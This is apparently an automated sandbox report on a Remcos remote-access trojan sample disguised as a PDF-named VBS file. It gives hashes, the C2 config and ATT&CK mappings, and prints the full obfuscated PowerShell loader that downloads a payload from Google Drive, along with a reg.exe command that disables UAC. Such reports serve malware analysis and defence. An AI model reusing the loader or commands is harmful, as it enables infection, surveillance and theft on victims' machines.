remcos | eb88df06fa2f93f3615a04a593ff0c88098a6e4a9d0063dc3cfbd8931f0e625e

General

Target

Document BT24·pdf.vbs
Size

86KB
MD5

acd9a75b2f33064da7ebef088ed16cb9
SHA1

8f51e47a0454c8032e2ecd90f85bb115e80b5f35
SHA256

cecb613e2e7877b680323862198f05c9634c1dc3e7c64ed95cc3154e9c5e9fd4
SHA512

06525377cfdc4e75fab11fd907a65c611bb9c880fe56bc68b3baa108b266e472813d3824969d6e6584c6b7d90b65379dfc633a15ef17bf24705a8195a5c657b3
SSDEEP

1536:970ty9v0kvBGd9pOpuoNvhvJELsj+qOhkqXzkx5c3cYdg51VWXaAj2yTk:9Qk9vh5U9QLzFOhbwx5c3cYdqVWrTk

Score

10^/10

remcos remotehost discovery evasion rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

dvlqrd8dhs.duckdns.org:46063

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-0IGFAQ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	process
4	628	WScript.exe
7	4156	powershell.exe
9	4156	powershell.exe
26	3588	msiexec.exe
28	3588	msiexec.exe
30	3588	msiexec.exe
32	3588	msiexec.exe
33	3588	msiexec.exe
36	3588	msiexec.exe
37	3588	msiexec.exe
41	3588	msiexec.exe
46	3588	msiexec.exe
50	3588	msiexec.exe
54	3588	msiexec.exe
56	3588	msiexec.exe
57	3588	msiexec.exe
58	3588	msiexec.exe
59	3588	msiexec.exe
60	3588	msiexec.exe
61	3588	msiexec.exe
62	3588	msiexec.exe
63	3588	msiexec.exe
64	3588	msiexec.exe
65	3588	msiexec.exe
66	3588	msiexec.exe
67	3588	msiexec.exe
68	3588	msiexec.exe
69	3588	msiexec.exe
70	3588	msiexec.exe
71	3588	msiexec.exe
74	3588	msiexec.exe
75	3588	msiexec.exe
76	3588	msiexec.exe
77	3588	msiexec.exe
78	3588	msiexec.exe
79	3588	msiexec.exe
80	3588	msiexec.exe
81	3588	msiexec.exe
82	3588	msiexec.exe
83	3588	msiexec.exe
84	3588	msiexec.exe
85	3588	msiexec.exe
86	3588	msiexec.exe
87	3588	msiexec.exe
90	3588	msiexec.exe
92	3588	msiexec.exe
93	3588	msiexec.exe
94	3588	msiexec.exe
95	3588	msiexec.exe
98	3588	msiexec.exe
100	3588	msiexec.exe
101	3588	msiexec.exe
102	3588	msiexec.exe
103	3588	msiexec.exe
104	3588	msiexec.exe
105	3588	msiexec.exe
106	3588	msiexec.exe
107	3588	msiexec.exe
108	3588	msiexec.exe
109	3588	msiexec.exe
110	3588	msiexec.exe
111	3588	msiexec.exe
112	3588	msiexec.exe
113	3588	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation WScript.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 drive.google.com
7 drive.google.com
26 drive.google.com
Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
discovery

Network Service Discovery
T1046

Processes:

powershell.exepowershell.exe

pid process

4156 powershell.exe
3088 powershell.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

3588 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

3088 powershell.exe
3588 msiexec.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

flow	ioc
6	drive.google.com
7	drive.google.com
26	drive.google.com

pid	process
4156	powershell.exe
3088	powershell.exe

pid	process
3588	msiexec.exe

pid	process
3088	powershell.exe
3588	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exereg.exepowershell.exemsiexec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3164 reg.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

4156 powershell.exe
4156 powershell.exe
3088 powershell.exe
3088 powershell.exe
3088 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3088 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4156 powershell.exe
Token: SeDebugPrivilege 3088 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid process

3588 msiexec.exe

pid	process
3164	reg.exe

pid	process
4156	powershell.exe
4156	powershell.exe
3088	powershell.exe
3088	powershell.exe
3088	powershell.exe

pid	process
3088	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	3088	powershell.exe

pid	process
3588	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	process	target process
PID 628 wrote to memory of 4156	628	WScript.exe	powershell.exe
PID 628 wrote to memory of 4156	628	WScript.exe	powershell.exe
PID 3088 wrote to memory of 3588	3088	powershell.exe	msiexec.exe
PID 3088 wrote to memory of 3588	3088	powershell.exe	msiexec.exe
PID 3088 wrote to memory of 3588	3088	powershell.exe	msiexec.exe
PID 3088 wrote to memory of 3588	3088	powershell.exe	msiexec.exe
PID 3588 wrote to memory of 1892	3588	msiexec.exe	cmd.exe
PID 3588 wrote to memory of 1892	3588	msiexec.exe	cmd.exe
PID 3588 wrote to memory of 1892	3588	msiexec.exe	cmd.exe
PID 1892 wrote to memory of 3164	1892	cmd.exe	reg.exe
PID 1892 wrote to memory of 3164	1892	cmd.exe	reg.exe
PID 1892 wrote to memory of 3164	1892	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#electrophotometry Shadoofs Kannibalismen Unarboured Sknserklringens Aequian #><#Encipher Gangliecelles Beordret Flatterous tetracene Rvturene Flyveres #>$Recrowns='consultor';function Outdoor($Doundake){If ($host.DebuggerEnabled) {$limosella++;$pappiferous=$Doundake.'Length' - $limosella} for ( $presubordination=4;$presubordination -lt $pappiferous;$presubordination+=5){$Kloroformens84=$presubordination;$Spicae+=$Doundake[$presubordination]}$Spicae}function Correality69($Dissiderende){ .($Fejltest) ($Dissiderende)}$Kattehjemmet=Outdoor 'NoninCleieSalptUnin.HomoWSk.lEal,eb andC,kolLSporI kinENicknG ugtG no ';$Scorpiurus=Outdoor ' utoMSe.loUhyrzAfbriUnsol onbl VrdaI vi/ nv ';$Politicness=Outdoor 'MogoTDendlBoplsNo i1Affo2obsk ';$prveperiode=' Mit[SporN KalELiveT L g. Rads U bEErogr Undv BrnIShanc Cone ouP El,oTilbi ParNTovat EleMInteAFor.nAfreA NonGC rreE loR ymm]Blue:G it: NizSHjopE igncAndouJ anrmusiisel TS veyTor P epiROveroBonbtF amoVinicB edObaktlApro=R dd$ ForpBeduoRadilF.asiAenetC ari TheCLi dn OmfEFr ms GedsBort ';$Scorpiurus+=Outdoor 'Unde5Ails.Plat0St,n Pemm( oncWUn uiSeminE sedCarboYammwenepsOppo UpchNGuveTbo,i W l1 ans0 f l. Ern0Impe;Vare nonpW PariFejlnt,tr6Br.t4Stil; afs AfskxIndi6 E,t4dumm; Lun Spi rLnfrvperp:erhv1Plag3 d,d1Pror.Ki e0fyld)Brne TactGjagte Sjlc Ar k Taxo.icr/ cou2,vin0 ,il1Kalc0C,um0 Brd1Rubu0Enke1Kims OverFSor.iPa.arSk.neSkorfFlooounflx Oth/L,pi1Prim3maeg1 alk.Unde0Dobb ';$Deklasseringers=Outdoor ' niuFitnSDiffeHellrSlyn- So a hirgGaliE Ca nMan T ft ';$Informalities=Outdoor 'Vir h A ttFor tPantpErhvssin.:Irre/Vint/NonedGerarF siiRe hv one Mor. Thig esodatooA,digLuftl ManeDeso.H,rrc GraoKarimB vi/Misruvildc ffa? So eVigixLaugpSrmro O.er ammtLabi= MegdDisroCianwIsranNon lcrapoFriha esidOpla& Tori Ov dFi.g= E o1colonsa,d9 ordlKundl P vn FeslStimzunsteCa ioP ep0EfteL TilS Opl0,aeloF av9Matf8 fl,P artJBirtLBugb1Esse-,gglRNiog1F,nkQLadejStveXBlrefTittzBegreErstObesi2Don,_Ma i ';$Vidneafhringernes=Outdoor ' Sp,>Goek ';$Fejltest=Outdoor 'SkumICa seStj xun o ';$Zygal='Backupfil';$Unheretical='\Nedrykke.Fon';Correality69 (Outdoor 'Gram$BremGYel.lGtepoTrihb rgeaPrioLOutr:AcroSMet kPotay C cTFirmLrateELev RSnak=Mpso$TaphEO,ypnT buv Sam:St aANglePNdj pParrDBaita KantByggAVsel+ Rep$ RevUOctonPrephBlanEUrger,pice enTPacii SagCDemeaObo,lDe,i ');Correality69 (Outdoor 'Kamb$ LnsGFiraLQu,doNickBInmeAAn ilS am:UnenuFlleDRad.SOv rTBestYTa,kK Pagn FanidessnEndogAsynsEkstOCe tmDiskrPre a ,adaLnind eleV spT.kspSNeat=anis$BogaICedenSolvFBar,oN,naRPl em rigaSufilTrieiSte TBov iWardENoddS.dda.CevisN rdp sselSkanI verT ,ri( ,et$MarkVMastiLob,d C.rn SpieraadA Fo.FCha hP,rarvrn.iVrnenNausGSenteProvrCas.NAng,E SynSRetu)Yird ');Correality69 (Outdoor $prveperiode);$Informalities=$Udstykningsomraadets[0];$aarvaagen=(Outdoor 'Macr$,retGLendlHumbO UnaBm scAbronlBi d:Hstea Me LAngrTSjakeThisrGaddN Co,aS emrF,lmiOboea Voc=DynenBilfE SunWAtri-TummOCe.lb LamJK,imESitocN ddTR to Abmhs Pery ,lis KonTProtE,eriMP iu.,oop$Uns.kJuleaH altScooTD.arE FraHT neJP ole Demm Pr,mHad EBi ntGuld ');Correality69 ($aarvaagen);Correality69 (Outdoor 'Hypn$Sk.laKommlQue tSexteLapir ornNedgaHip.rMa si UndaNrhe.SomaH,edoeFun,aRobad D,ne nterIncos Gue[Anim$ SanDrod eGrilkMa rlFrihaOp as FibsCoale T or uti ytnS.rigNoneeAxiarPremsFae ] Sla=F nd$FalsS Valc C moO.hor Es.pSkoviAfs uOenir riguKul sTage ');$Konversabel=Outdoor 'Un e$CollaSi,dlA det PreeTangrWo,kn Orda CourTi,bi Cluasneg. C sDTeoro FilwT rtn aml rctoWeataCassd MisFhandiinddlpandeRetr( egr$ rofIIndin latf CheoSickrVarpmolieaU jvlPro iC mmtMadeiLaureRos.sKrei,Unmo$ SnaASprec SmoiFlagd ConyDeni).eks ';$Acidy=$Skytler;Correality69 (Outdoor 'Wist$h,etGDuruLFor o ontB CowA,mpiLFrow:RullsIsohMshifaLuftADaabEDozeLIlanE eklKVejbtVisur U eoMagnnTjreIlis KUnde=Li n(D nsTHeadEGletsEye tFlin-NugaPWrotAOpvetregiHVogi Rud $.jtia apsc onoi PildDkfaymem )Ejef ');while (!$Smaaelektronik) {Correality69 (Outdoor 'Kegl$yodegKalkl ModoSkrtbAbceaStril Reg:SideF asso turr SchbKikkr HepuKahagDecoeOp,utVi dsNerv=suba$RolltBedrrEr ku FroeAbso ') ;Correality69 $Konversabel;Correality69 (Outdoor ' ResSSeritNeurALoc rSoret Sky-GlumSY,llL RocEAlleERer P Pom Unse4Over ');Correality69 (Outdoor 'Ser $ BlugNippL ObjOSyvmbReplaUndelBet.: eleS.oremNe,va Co aUndieTr eLKaryEAllak AdsTBoo RDra,oJa snreceIFritk Fau= Red( Witt SkyESchiSRoteT,rov-Se iPFa.oaVa itPo uh .er ua$milsAbrugC iteILredD TykyDrom)Udv ') ;Correality69 (Outdoor 'Rens$SnregS,ntLRdnsOBa gbUnknA ForLSo i:QuadmBjerOHippM NoseNereNle,sTSt eS Ple=R nn$AcergbuttLFid,ONegaBVulkASpisl Dkk:DartB.culL FigA To aSkaimGodfEthinj Ants La e Do +Op,r+ moo%Dru $ReseUeft dRefoSZaratTr,fYStylk SylnsklriTrbeNB ddgMellsC siobackMB flrUns aGabba ityDGuv,e ,nstVrkeSbesl. F rCBronoTageuSufinPagatGenn ') ;$Informalities=$Udstykningsomraadets[$Moments]}$Landboforeningerne=309803;$presubordinationnterschool=30529;Correality69 (Outdoor 'Whit$SainG eoL reaODisoBTempa.etoLKomm:ResebUndelFriliGa.rKAr mkBurme cieSerem tn=taxl Ba.ig IndE a,st ism- c,nc JouOAmbinBedsTsangEnedknFuppTAnal C.ec$,omfA,rocCalu iSystDAb rYMidd ');Correality69 (Outdoor 'Misc$Slukg ForlSprooBearb M daLaurlLayo:S ksCnonphS.mirUndeoCenon ga oAutomSgeraOzons Af.tEsmai Nskx cyl ,ono=Jdek mil[BaraS emiy .yrsGedetRyoteEngamU kn. Li.CstupoBli n In vDem eSailrF.istRfct]Piti:Wi.n: moeFCro r eosoSerimMandBJi gaUnsmsFor,eOpo 6Kapi4ExopSAflytTramr,ongiFor.nUnwrgUnde(Tu,i$ oveBKololAfskiProokHarekA pleKarasSpi.)Numi ');Correality69 (Outdoor 'ryma$ReacgSansL RgeOMystBUnfeA dbulUaf :Fr ts PigIPropDnonrEWeanTSpirAPraglUtyslForseLystR ovvKDo sePoleNSeksESvigr,legNMorgEMechSRepa4 Aar0Vini Sted=Fern ,ngo[ChassTeleyL jrs BroTAyene ritmRe.d. Ta,tt.iaEMundXC.pit D m.Cl geGlimNRotecHalvOHanddDowni FreNAffag orm] edl: tri:KonfAgla.sFul cIndpIViv IEnam.Dokug S gETas tEmirsHydrTExtrR A li ronOnomgAm t(Tuds$S avC aldhOmbrR UdvO CalNServO rfemY,ntAlinasMetaT ,ili Am xTo t) su ');Correality69 (Outdoor 'Vel $ makgE.silShojOUnsebSal A.rcalTrne:HoppYAnt OGarnnFrdin DetaOver1 Dif7Bien0 bib=.lve$Mis.SNo oiM.dddEkseeSkd,T Zw aKa slKompLBodoeUnivRU lbkTaeneHypoNPoineTsu rmen nMurrEAnsgSO dr4Nyan0tric.jernsAnthuFo dBfrynStweeT S.ar Rv,i AppnResoG Und(P,ln$RisalBespaEle.NVrdid,gnobFiltOBondfPenuo RevRSli.e KoaNTremIU,deN T.kg D,pEKierR By nVelse,ppe, rna$Elo,PMetaR Li e ,laSgra UautobSabboDesiR ahDSlabIfangnPartahagatWhipI AmeOFowlnTabin ki THaanE BesRAnkeS HilcSeptHGruno AvaOPyroLRe l)T ng ');Correality69 $Yonna170;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#electrophotometry Shadoofs Kannibalismen Unarboured Sknserklringens Aequian #><#Encipher Gangliecelles Beordret Flatterous tetracene Rvturene Flyveres #>$Recrowns='consultor';function Outdoor($Doundake){If ($host.DebuggerEnabled) {$limosella++;$pappiferous=$Doundake.'Length' - $limosella} for ( $presubordination=4;$presubordination -lt $pappiferous;$presubordination+=5){$Kloroformens84=$presubordination;$Spicae+=$Doundake[$presubordination]}$Spicae}function Correality69($Dissiderende){ .($Fejltest) ($Dissiderende)}$Kattehjemmet=Outdoor 'NoninCleieSalptUnin.HomoWSk.lEal,eb andC,kolLSporI kinENicknG ugtG no ';$Scorpiurus=Outdoor ' utoMSe.loUhyrzAfbriUnsol onbl VrdaI vi/ nv ';$Politicness=Outdoor 'MogoTDendlBoplsNo i1Affo2obsk ';$prveperiode=' Mit[SporN KalELiveT L g. Rads U bEErogr Undv BrnIShanc Cone ouP El,oTilbi ParNTovat EleMInteAFor.nAfreA NonGC rreE loR ymm]Blue:G it: NizSHjopE igncAndouJ anrmusiisel TS veyTor P epiROveroBonbtF amoVinicB edObaktlApro=R dd$ ForpBeduoRadilF.asiAenetC ari TheCLi dn OmfEFr ms GedsBort ';$Scorpiurus+=Outdoor 'Unde5Ails.Plat0St,n Pemm( oncWUn uiSeminE sedCarboYammwenepsOppo UpchNGuveTbo,i W l1 ans0 f l. Ern0Impe;Vare nonpW PariFejlnt,tr6Br.t4Stil; afs AfskxIndi6 E,t4dumm; Lun Spi rLnfrvperp:erhv1Plag3 d,d1Pror.Ki e0fyld)Brne TactGjagte Sjlc Ar k Taxo.icr/ cou2,vin0 ,il1Kalc0C,um0 Brd1Rubu0Enke1Kims OverFSor.iPa.arSk.neSkorfFlooounflx Oth/L,pi1Prim3maeg1 alk.Unde0Dobb ';$Deklasseringers=Outdoor ' niuFitnSDiffeHellrSlyn- So a hirgGaliE Ca nMan T ft ';$Informalities=Outdoor 'Vir h A ttFor tPantpErhvssin.:Irre/Vint/NonedGerarF siiRe hv one Mor. Thig esodatooA,digLuftl ManeDeso.H,rrc GraoKarimB vi/Misruvildc ffa? So eVigixLaugpSrmro O.er ammtLabi= MegdDisroCianwIsranNon lcrapoFriha esidOpla& Tori Ov dFi.g= E o1colonsa,d9 ordlKundl P vn FeslStimzunsteCa ioP ep0EfteL TilS Opl0,aeloF av9Matf8 fl,P artJBirtLBugb1Esse-,gglRNiog1F,nkQLadejStveXBlrefTittzBegreErstObesi2Don,_Ma i ';$Vidneafhringernes=Outdoor ' Sp,>Goek ';$Fejltest=Outdoor 'SkumICa seStj xun o ';$Zygal='Backupfil';$Unheretical='\Nedrykke.Fon';Correality69 (Outdoor 'Gram$BremGYel.lGtepoTrihb rgeaPrioLOutr:AcroSMet kPotay C cTFirmLrateELev RSnak=Mpso$TaphEO,ypnT buv Sam:St aANglePNdj pParrDBaita KantByggAVsel+ Rep$ RevUOctonPrephBlanEUrger,pice enTPacii SagCDemeaObo,lDe,i ');Correality69 (Outdoor 'Kamb$ LnsGFiraLQu,doNickBInmeAAn ilS am:UnenuFlleDRad.SOv rTBestYTa,kK Pagn FanidessnEndogAsynsEkstOCe tmDiskrPre a ,adaLnind eleV spT.kspSNeat=anis$BogaICedenSolvFBar,oN,naRPl em rigaSufilTrieiSte TBov iWardENoddS.dda.CevisN rdp sselSkanI verT ,ri( ,et$MarkVMastiLob,d C.rn SpieraadA Fo.FCha hP,rarvrn.iVrnenNausGSenteProvrCas.NAng,E SynSRetu)Yird ');Correality69 (Outdoor $prveperiode);$Informalities=$Udstykningsomraadets[0];$aarvaagen=(Outdoor 'Macr$,retGLendlHumbO UnaBm scAbronlBi d:Hstea Me LAngrTSjakeThisrGaddN Co,aS emrF,lmiOboea Voc=DynenBilfE SunWAtri-TummOCe.lb LamJK,imESitocN ddTR to Abmhs Pery ,lis KonTProtE,eriMP iu.,oop$Uns.kJuleaH altScooTD.arE FraHT neJP ole Demm Pr,mHad EBi ntGuld ');Correality69 ($aarvaagen);Correality69 (Outdoor 'Hypn$Sk.laKommlQue tSexteLapir ornNedgaHip.rMa si UndaNrhe.SomaH,edoeFun,aRobad D,ne nterIncos Gue[Anim$ SanDrod eGrilkMa rlFrihaOp as FibsCoale T or uti ytnS.rigNoneeAxiarPremsFae ] Sla=F nd$FalsS Valc C moO.hor Es.pSkoviAfs uOenir riguKul sTage ');$Konversabel=Outdoor 'Un e$CollaSi,dlA det PreeTangrWo,kn Orda CourTi,bi Cluasneg. C sDTeoro FilwT rtn aml rctoWeataCassd MisFhandiinddlpandeRetr( egr$ rofIIndin latf CheoSickrVarpmolieaU jvlPro iC mmtMadeiLaureRos.sKrei,Unmo$ SnaASprec SmoiFlagd ConyDeni).eks ';$Acidy=$Skytler;Correality69 (Outdoor 'Wist$h,etGDuruLFor o ontB CowA,mpiLFrow:RullsIsohMshifaLuftADaabEDozeLIlanE eklKVejbtVisur U eoMagnnTjreIlis KUnde=Li n(D nsTHeadEGletsEye tFlin-NugaPWrotAOpvetregiHVogi Rud $.jtia apsc onoi PildDkfaymem )Ejef ');while (!$Smaaelektronik) {Correality69 (Outdoor 'Kegl$yodegKalkl ModoSkrtbAbceaStril Reg:SideF asso turr SchbKikkr HepuKahagDecoeOp,utVi dsNerv=suba$RolltBedrrEr ku FroeAbso ') ;Correality69 $Konversabel;Correality69 (Outdoor ' ResSSeritNeurALoc rSoret Sky-GlumSY,llL RocEAlleERer P Pom Unse4Over ');Correality69 (Outdoor 'Ser $ BlugNippL ObjOSyvmbReplaUndelBet.: eleS.oremNe,va Co aUndieTr eLKaryEAllak AdsTBoo RDra,oJa snreceIFritk Fau= Red( Witt SkyESchiSRoteT,rov-Se iPFa.oaVa itPo uh .er ua$milsAbrugC iteILredD TykyDrom)Udv ') ;Correality69 (Outdoor 'Rens$SnregS,ntLRdnsOBa gbUnknA ForLSo i:QuadmBjerOHippM NoseNereNle,sTSt eS Ple=R nn$AcergbuttLFid,ONegaBVulkASpisl Dkk:DartB.culL FigA To aSkaimGodfEthinj Ants La e Do +Op,r+ moo%Dru $ReseUeft dRefoSZaratTr,fYStylk SylnsklriTrbeNB ddgMellsC siobackMB flrUns aGabba ityDGuv,e ,nstVrkeSbesl. F rCBronoTageuSufinPagatGenn ') ;$Informalities=$Udstykningsomraadets[$Moments]}$Landboforeningerne=309803;$presubordinationnterschool=30529;Correality69 (Outdoor 'Whit$SainG eoL reaODisoBTempa.etoLKomm:ResebUndelFriliGa.rKAr mkBurme cieSerem tn=taxl Ba.ig IndE a,st ism- c,nc JouOAmbinBedsTsangEnedknFuppTAnal C.ec$,omfA,rocCalu iSystDAb rYMidd ');Correality69 (Outdoor 'Misc$Slukg ForlSprooBearb M daLaurlLayo:S ksCnonphS.mirUndeoCenon ga oAutomSgeraOzons Af.tEsmai Nskx cyl ,ono=Jdek mil[BaraS emiy .yrsGedetRyoteEngamU kn. Li.CstupoBli n In vDem eSailrF.istRfct]Piti:Wi.n: moeFCro r eosoSerimMandBJi gaUnsmsFor,eOpo 6Kapi4ExopSAflytTramr,ongiFor.nUnwrgUnde(Tu,i$ oveBKololAfskiProokHarekA pleKarasSpi.)Numi ');Correality69 (Outdoor 'ryma$ReacgSansL RgeOMystBUnfeA dbulUaf :Fr ts PigIPropDnonrEWeanTSpirAPraglUtyslForseLystR ovvKDo sePoleNSeksESvigr,legNMorgEMechSRepa4 Aar0Vini Sted=Fern ,ngo[ChassTeleyL jrs BroTAyene ritmRe.d. Ta,tt.iaEMundXC.pit D m.Cl geGlimNRotecHalvOHanddDowni FreNAffag orm] edl: tri:KonfAgla.sFul cIndpIViv IEnam.Dokug S gETas tEmirsHydrTExtrR A li ronOnomgAm t(Tuds$S avC aldhOmbrR UdvO CalNServO rfemY,ntAlinasMetaT ,ili Am xTo t) su ');Correality69 (Outdoor 'Vel $ makgE.silShojOUnsebSal A.rcalTrne:HoppYAnt OGarnnFrdin DetaOver1 Dif7Bien0 bib=.lve$Mis.SNo oiM.dddEkseeSkd,T Zw aKa slKompLBodoeUnivRU lbkTaeneHypoNPoineTsu rmen nMurrEAnsgSO dr4Nyan0tric.jernsAnthuFo dBfrynStweeT S.ar Rv,i AppnResoG Und(P,ln$RisalBespaEle.NVrdid,gnobFiltOBondfPenuo RevRSli.e KoaNTremIU,deN T.kg D,pEKierR By nVelse,ppe, rna$Elo,PMetaR Li e ,laSgra UautobSabboDesiR ahDSlabIfangnPartahagatWhipI AmeOFowlnTabin ki THaanE BesRAnkeS HilcSeptHGruno AvaOPyroLRe l)T ng ');Correality69 $Yonna170;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3088
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Network Service Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
940aef99303db2a29c9a83c9962d2031

SHA1
2c739dd33c128a50b4bd1c3fd6bd6a2fe8e7c261

SHA256
d8ab457748610b55ce2da5806634a40b3885d8d32866a0fa5486ce4d224b8a97

SHA512
9bb9344e0ac3f8975021f29d4a7a70ec6891331de1ffb6845ac021fee1f52c4ae001925f43a1ae437601b6d13c6705f75912c629b1fa1d4398d1db5d19e491bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k4rmdahb.drz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Nedrykke.Fon

Filesize
443KB

MD5
a7622baff13af965a8174eb4e2d7feff

SHA1
35752f3ac7f996486d29ebf413cb2a5bbbf7f3dc

SHA256
5deb28e0bdc343244369ee358c45c79f3ff3c3b00b9d4e954638a7ce63a7c7e6

SHA512
ed19495f58dc68730e85ed711355dcbd84cbd600ef7a4b7028f17fde7cc40e6f06dce49f34dc6af4bd4dceb7b8fbb0c3ec652ca5b6011885ec5bd896fc9a5d86

Download Submit
memory/3088-25-0x0000000005890000-0x0000000005EB8000-memory.dmp

Filesize
6.2MB

Download
memory/3088-46-0x0000000008B80000-0x0000000009124000-memory.dmp

Filesize
5.6MB

Download
memory/3088-48-0x0000000009130000-0x000000000BA38000-memory.dmp

Filesize
41.0MB

Download
memory/3088-45-0x0000000007900000-0x0000000007922000-memory.dmp

Filesize
136KB

Download
